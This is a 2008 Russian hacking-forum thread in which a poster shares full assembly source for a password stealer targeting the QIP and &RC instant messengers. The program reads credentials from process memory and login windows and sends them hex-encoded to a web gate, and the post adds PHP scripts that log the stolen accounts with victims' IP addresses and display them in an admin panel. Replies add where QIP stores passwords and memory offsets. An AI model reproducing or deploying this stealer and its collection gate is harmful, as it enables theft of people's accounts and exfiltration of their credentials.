ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Чтение пароля из Qip
  #1  
Старый 27.05.2008, 14:39
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию Чтение пароля из Qip

Прочитав пару статей по этой теме и вот когда то от нечего делать начал писать прогу на асме. Суть такова: Из запущенного экземпляра QIP она выдирает пароли двумя методами.
Ну и возможность из &RC выдирать пароль. НО протестить нормально не удалось
1) Из поля ввода пароля - 100% действует если пароль не сохраняется поддерживается до версии 8040.
2) Из оперативы считывается. поддерживается до версии 8020
Код конечно сыроватый, но мож кому пригодиться.
После компиляции выходит в 3 кила. Если выкинуть поддержку &RC то выдит 2,5 кила
Код:
format PE GUI on 'DosStub.exe'
entry _start
include 'win32ax.inc'
include 'encoding\win1251.inc'
section '.code' code readable executable import writeable
library kernel32,'KERNEL32.DLL',user32,'USER32.DLL', version, 'VERSION.DLL',  UrlMonLib,'URLMON.DLL',advapi32,'ADVAPI32.dll'
;---- моя примитивная секция импорта
include 'apia\kernel32.inc'
include 'apia\user32.inc'
include 'apia\advapi32.inc'

import version,GetFileVersionInfoSize,'GetFileVersionInfoSizeA',\
	       GetFileVersionInfo,'GetFileVersionInfoA',\
	       VerQueryValue,'VerQueryValueA'
import UrlMonLib,URLDownloadToFile,'URLDownloadToFileA'
;---- моя примитивная секция данных
 table db '0123456789ABCDEF'
 SeDebugPrivilege db 'SeDebugPrivilege',0
 slash db '\',0
 dvoetochie db ':',0
 tzap db '[-]',0
 TGroupBox db 'TGroupBox',0
 TComboBox db 'TComboBox',0
 TManForm db 'TManForm',0
 TMainForm db 'TMainForm',0
 TmainFrm db 'TmainFrm',0
 TEdit db 'TEdit',0
 TprefFrm db 'TprefFrm',0
 TPanel db 'TPanel',0
 TconnectionFr db 'TconnectionFr',0
 url_start db 'http://127.0.0.1/stat.php?data='
 url_end db 0
 VER_MAS dd 07090801h,07090900h,07090905h,07090907h,07090908h,08000000h,08000100h,08000200h
 ADR_MAS dd 0068128Ch,006862B4h,0068B2D0h,006962ECh,0069574Ch,006972ECh,0069F580h,0069F57Ch
;---- моя примитивная секция кода
proc AddToBuf,add_buf
 invoke lstrcat,[buffer],[add_buf]
 ret
endp

proc GetFileVer,PID
 invoke CreateToolhelp32Snapshot,0000000Fh, [PID]
 test eax,eax
 jz GetFileVer_exit
 mov [Handle],eax
 mov ebx,[MODULEENTRY32]
 mov dword [ebx],548
 invoke Module32First,eax,ebx
 test eax,eax
 jz GetFileVer_exit
 invoke CloseHandle,[Handle]
 add ebx,288
 invoke GetFileVersionInfoSize,ebx, Handle
 test eax,eax
 jz GetFileVer_exit
 mov [Size],eax
 invoke HeapAlloc,[myheap],0,eax
 mov [RezBuffer],eax
 invoke GetFileVersionInfo,ebx,Handle, [Size], eax
 test eax,eax
 jz GetFileVer_exit
 invoke VerQueryValue,[RezBuffer], slash, FixedFileInfoBuf, Size
 test eax,eax
 jz GetFileVer_exit
 mov ebx,[FixedFileInfoBuf]
 mov eax,[ebx+8]
 shr eax,16
 mov byte [Size+3],al
 mov eax,[ebx+8]
 mov byte [Size+2],al
 mov eax,[ebx+12]
 shr eax,16
 mov byte [Size+1],al
 mov eax,[ebx+12]
 mov byte [Size],al
 mov eax,[Size]
GetFileVer_exit:
 ret
endp

proc ReadData PID,ADR
 invoke OpenProcess,0410h, 0, [PID]
 test eax,eax
 jz ReadData_exit
 mov [hp],eax
 invoke ReadProcessMemory,eax, [ADR], Size, 4, [t]
 invoke ReadProcessMemory,[hp], [Size], buf, 10, [t]
 invoke CloseHandle,[hp]
ReadData_exit:
 ret
endp

proc GetPas,PID
 stdcall GetFileVer,[PID]
 xor ecx,ecx
 dec ecx
GetPas_m1:
 inc ecx
 cmp ecx,8
 je GetPas_exit
 cmp eax,[VER_MAS+ecx*4]
 jne GetPas_m1
 stdcall ReadData,[PID],[ADR_MAS+ecx*4]
GetPas_exit:
 ret
endp


proc QIP_MEM
 invoke FindWindow,TMainForm,0
QIP_MEM_next:
 test eax,eax
 mov [h],eax
 jz QIP_MEM_exit
 invoke GetWindowText,eax,buf,20
 cmp dword [buf],'[qip'
 jne QIP_MEM_next1
 invoke GetWindowThreadProcessId,[h],PID
 stdcall AddToBuf,buf+8
 stdcall AddToBuf,dvoetochie
 stdcall GetPas,[PID]
 stdcall AddToBuf,buf
 stdcall AddToBuf,tzap
QIP_MEM_next1:
 invoke GetWindow,[h],2
 jmp QIP_MEM_next
QIP_MEM_exit:
 ret
endp

proc QIP_WND_GETPASS,hManForm
 invoke FindWindowEx,[hManForm],0,TGroupBox,0
 test eax,eax
 jz QIP_WND_GETPASS_exit
 push eax
 invoke FindWindowEx,eax,0,TComboBox,0
 test eax,eax
 jz QIP_WND_GETPASS_exit
 invoke SendMessage,eax, WM_GETTEXT, 10, buf
 xor ecx,ecx
cicle:
 cmp ecx,20
 je nextt
 inc ecx
 cmp byte [buf+ecx],' '
 jne cicle
 mov byte [buf+ecx],0
nextt:
 stdcall AddToBuf,buf
; cmp dword [buf],'NONE'
; je QIP_WND_GETPASS_exit
 pop eax
 invoke FindWindowEx,eax,0,TEdit,0
 test eax,eax
 jz QIP_WND_GETPASS_exit
 invoke SendMessage,eax, WM_GETTEXT, 20, buf
 stdcall AddToBuf,dvoetochie
 stdcall AddToBuf,buf
 stdcall AddToBuf,tzap
QIP_WND_GETPASS_exit:
 ret
endp

proc QIP_WND
 invoke FindWindow,TManForm,0
cicle2:
 test eax,eax
 jz QIP_WND_exit
 push eax
 stdcall QIP_WND_GETPASS,eax
 pop eax
 invoke GetWindow,eax,2
 jmp cicle2
QIP_WND_exit:
 ret
endp

proc Krisa_WND_GETPASS,hmainFrm
 invoke GetClassName,[hmainFrm],buf,10
 cmp dword [buf],'Tmai'
 jne Krisa_WND_GETPASS_exit
 invoke SendMessage,[hmainFrm], WM_SYSKEYDOWN,80, 20000000h
 invoke SendMessage,[hmainFrm], WM_SYSKEYUP, 80, 20000000h
 invoke FindWindow,TprefFrm,0
 test eax,eax
 jz Krisa_WND_GETPASS_exit
 invoke FindWindowEx,eax,0,TPanel,0
 test eax,eax
 jz Krisa_WND_GETPASS_exit
 invoke FindWindowEx,eax,0,TconnectionFr,0
 test eax,eax
 jz Krisa_WND_GETPASS_exit
 invoke FindWindowEx,eax,0,TEdit,0
 test eax,eax
 jz Krisa_WND_GETPASS_exit
 push eax
 invoke SendMessage,[hmainFrm], WM_GETTEXT, 20, buf
 stdcall AddToBuf,buf
 stdcall AddToBuf,dvoetochie
 pop eax
 invoke SendMessage,eax, WM_GETTEXT, 20, buf
 stdcall AddToBuf,buf
 stdcall AddToBuf,tzap
Krisa_WND_GETPASS_exit:
 ret
endp


proc Krisa_WND
 invoke FindWindow,TmainFrm,0
cicle3:
 test eax,eax
 jz Krisa_WND_exit
 push eax
 stdcall Krisa_WND_GETPASS,eax
 pop eax
 invoke GetWindow,eax,2
 jmp cicle3
Krisa_WND_exit:
 ret
endp


proc SetDBG
 push ebp
 mov ebp,esp
 sub esp,24h
 invoke OpenProcessToken, -1, 28h, esp
 test eax,eax
 jz @F
 lea eax, [esp+8]
 invoke LookupPrivilegeValue, 0,SeDebugPrivilege, eax
 test eax,eax
 jz @F
 mov dword [esp+14h],1
 mov eax, [esp+8]
 mov [esp+18h], eax
 mov eax, [esp+0Ch]
 mov [esp+1Ch], eax
 mov dword [esp+20h], 2
 lea eax, [esp+10h]
 push eax
 lea eax, [esp+18h]
 push eax
 push 10h
 lea eax, [esp+20h]
 push eax
 push 0
 mov eax, [esp+14h]
 push eax
 call [AdjustTokenPrivileges]
@@:
 leave
 ret
endp

_start:
 stdcall SetDBG
 invoke GetProcessHeap
 mov [myheap],eax
 invoke HeapAlloc,eax,0,1024
 mov [buffer],eax
 mov byte [eax],0
 invoke HeapAlloc,[myheap],0,1024
 mov [MODULEENTRY32],eax
 stdcall QIP_MEM
 stdcall QIP_WND
 stdcall Krisa_WND
 invoke lstrlen,[buffer]
 test eax,eax
 jnz dalee
 invoke ExitProcess,0
dalee:
 mov [Size],eax
 shl eax,2
 invoke HeapAlloc,[myheap],0,eax
 invoke lstrcpy,eax,url_start
 dec edx
 xor ecx,ecx
cicle4:
 mov eax,[buffer]
 mov ah,[eax+ecx]
 mov al,ah
 shr ah,4
 and al,0fh
 mov ebx,table
 xlatb
 xchg ah,al
 xlatb
 mov word [edx+ecx*2],ax
 inc ecx
 cmp ecx,[Size]
 jne cicle4
 mov byte [edx+ecx*2],0
 sub edx,url_end-url_start
 invoke URLDownloadToFile,0,edx,TEdit,0,0
 invoke ExitProcess,0
 buf db 21 dup (0)
 myheap dd 0
 buffer dd 0
 Size dd 0
 PID dd 0
 MODULEENTRY32 dd 0
 h dd 0
 hp dd 0
 t dd 0
 Handle dd 0
 RezBuffer dd 0
 FixedFileInfoBuf dd 0
А вот скрипты для работы с ним
Непосредственно гейт
Код:
<?
$data=$_GET['data'];
$out='';
$f=fopen('ICQ.txt','a+');
while ($x<strlen($data))
{
$temp=$data[$x].$data[$x+1];
$out.=chr(HexDec($temp));
$x+=2;
}
fputs($f,date("d.m.Y H:i:s").'[-]'.getenv("REMOTE_ADDR").'[-]'.$out."\r\n");
fclose($f);
?>
Ну и скрипт для удобного проссмотра
Код:
<?
$admin_user='123456';
$admin_pass='123456';
if ($admin_user!=$_SERVER['PHP_AUTH_USER']||$admin_pass!=$_SERVER['PHP_AUTH_PW'])
 {
   Header('WWW-Authenticate: Basic realm="Enter login & password"'); 
   Header('HTTP/1.0 401 Unauthorized');
   echo "Sorry, Access Denied";
   exit;
 }

echo '<html><body bgcolor="black" text="white">';
$f=file('ICQ.txt');
for ($x=0;$x<count($f);$x++)
{
 $z=explode('[-]',$f[$x]);
 for ($y=2;$y<count($z);$y++)
  {
   list($UIN,$PASS)=explode(':',$z[$y],2);
   if ($PASS!='<:HIDDEN:>'&&strpos($PASS,'[qip] - ')===FALSE&&strlen($PASS)>0&&strlen($UIN)>4&&strlen($UIN)<10)
    {
	 if (!@in_array($UIN.';'.$PASS,$acc[strlen($UIN)])) $acc[strlen($UIN)][]=$UIN.';'.$PASS;
    }
  }
 }

echo '<table><tr valign="top">'; 
for ($y=0;$y<10;$y++)
 {
  @sort($acc[$y]);
  if (count($acc[$y])>0)
   {
     echo '<td><FIELDSET><LEGEND>[  '.$y.'  ]</LEGEND>';
     for ($x=0;$x<count($acc[$y]);$x++) echo HtmlSpecialChars($acc[$y][$x]).'<br>';
	 echo '</FIELDSET></td>';
   }
  }
echo '</tr></table></body></html>';
?>
 
Ответить с цитированием

  #2  
Старый 27.05.2008, 18:32
De-visible
Banned
Регистрация: 06.01.2008
Сообщений: 904
Провел на форуме:
4037638

Репутация: 1821


Отправить сообщение для De-visible с помощью ICQ
По умолчанию

------------------
Знаешь это ведь на статейку покатит
Оформи красиво, сделай комментарии, и + описание к "программке"
------------------
И вот сюда
 
Ответить с цитированием

  #3  
Старый 28.05.2008, 03:44
Jailer
Познающий
Регистрация: 21.03.2008
Сообщений: 62
Провел на форуме:
1415395

Репутация: 81
По умолчанию

если у меня пароли отображаются как <:hidden:> он их прочитает?
 
Ответить с цитированием

  #4  
Старый 28.05.2008, 10:17
x0man
Познающий
Регистрация: 24.02.2006
Сообщений: 34
Провел на форуме:
136883

Репутация: 50
По умолчанию

Шота мне кажется или это глюки, такая тема уже тут была...
а на статью катит дизассемблирование квипа и выдирание кода для декрипта пассенга...
 
Ответить с цитированием

  #5  
Старый 28.05.2008, 10:34
Sn@k3
Познавший АНТИЧАТ
Регистрация: 13.04.2006
Сообщений: 1,738
Провел на форуме:
5151669

Репутация: 1198


Отправить сообщение для Sn@k3 с помощью ICQ
По умолчанию

x0man было много вопросов где пароли именно храняться =)
 
Ответить с цитированием

  #6  
Старый 28.05.2008, 19:13
0verbreaK
Постоянный
Регистрация: 30.04.2008
Сообщений: 323
Провел на форуме:
379101

Репутация: 136
По умолчанию

Sn@k3 - эксперементальным путем это выясняется...

1) Отследить обращение mpr через FileMon
2) Дизасмить qip и получить путь к файлу (функция GetPrivateProfileString)
3) Ну и методом тыка поискать/пооткрывать config.cfg и прочие

Accounts.cfg - аккаунты

\Program Files\QIP\Users\ПОЛЬЗОВАТЕЛЬ\config.in i

поля Custom1 и Custom2
 
Ответить с цитированием

  #7  
Старый 28.05.2008, 19:59
z01b
Постоянный
Регистрация: 05.01.2007
Сообщений: 508
Провел на форуме:
2360904

Репутация: 1393


По умолчанию

Цитата:
Сообщение от x0man  
Шота мне кажется или это глюки, такая тема уже тут была...
а на статью катит дизассемблирование квипа и выдирание кода для декрипта пассенга...
читал что-то похожее в хакере, только там код был на делфи. В общем автору всеравно огромнейший респект.
2 De-Visible
на статью, это имхо совсем не тянет.
 
Ответить с цитированием

  #8  
Старый 22.06.2008, 02:22
FluffY
Новичок
Регистрация: 04.01.2008
Сообщений: 14
Провел на форуме:
185424

Репутация: 2
Question

Не могу паонять как получить указатель на строку пароля?
Например юзаю билд 8020
Код HTML:
    ReadProcessMemory hProcess, &H69F57C, qwe, 4, 0&
    ReadProcessMemory hProcess, qwe, str, 10, 0&
Иполучаю какуето хрень в указателе почему?
 
Ответить с цитированием

  #9  
Старый 22.06.2008, 02:38
*eXe*
Banned
Регистрация: 20.05.2008
Сообщений: 281
Провел на форуме:
3200135

Репутация: 575
Отправить сообщение для *eXe* с помощью ICQ
По умолчанию

мне это напомнило вот это!!!
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Методы "вспоминания" пароля (от мыла) censored! E-Mail 175 05.06.2010 16:57
qip 8050 и холодный РЕБУТ truelamer Болталка 7 30.03.2008 21:45
QC (QIP Crypto) - OpenPGP шифрование сообщений [Paran0ik] Безопасность 3 02.02.2008 19:25
Аудит аутентификации на Web-сайтах. Часть первая k00p3r Чужие Статьи 0 13.06.2005 11:22
ВЗЛОМ ПАРОЛЯ. BOOM Болталка 3 03.08.2004 07:12



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ